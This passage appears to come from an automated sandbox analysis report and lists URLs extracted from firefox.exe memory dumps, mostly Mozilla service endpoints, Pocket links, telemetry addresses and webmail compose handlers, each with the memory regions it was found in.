Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6296000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.4384155043.000002539F43D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6296000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D32F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001A.00000002.4429640322.000002539F703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworkermozIStoragePendingStatementString
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/private-browsing-web-api-fixes.jsTransaction/th
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E726000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220952052.000002539DEF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4509133768.00000253A5903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A417C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schemaresource://activity-stream/lib/FilterAdult.jsm
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001A.00000002.4482965754.00000253A2094000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4496554423.00000253A314D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.4491115674.00000253A2687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4491115674.00000253A26E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.4507098040.00000253A5711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A5882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F4CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4429640322.000002539F720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%snewChannel
Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001A.00000002.4140184782.00000253925D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.0000015865272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.4222089313.000002539E6C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4480288941.00000253A1B42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4222089313.000002539E605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sPlease
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
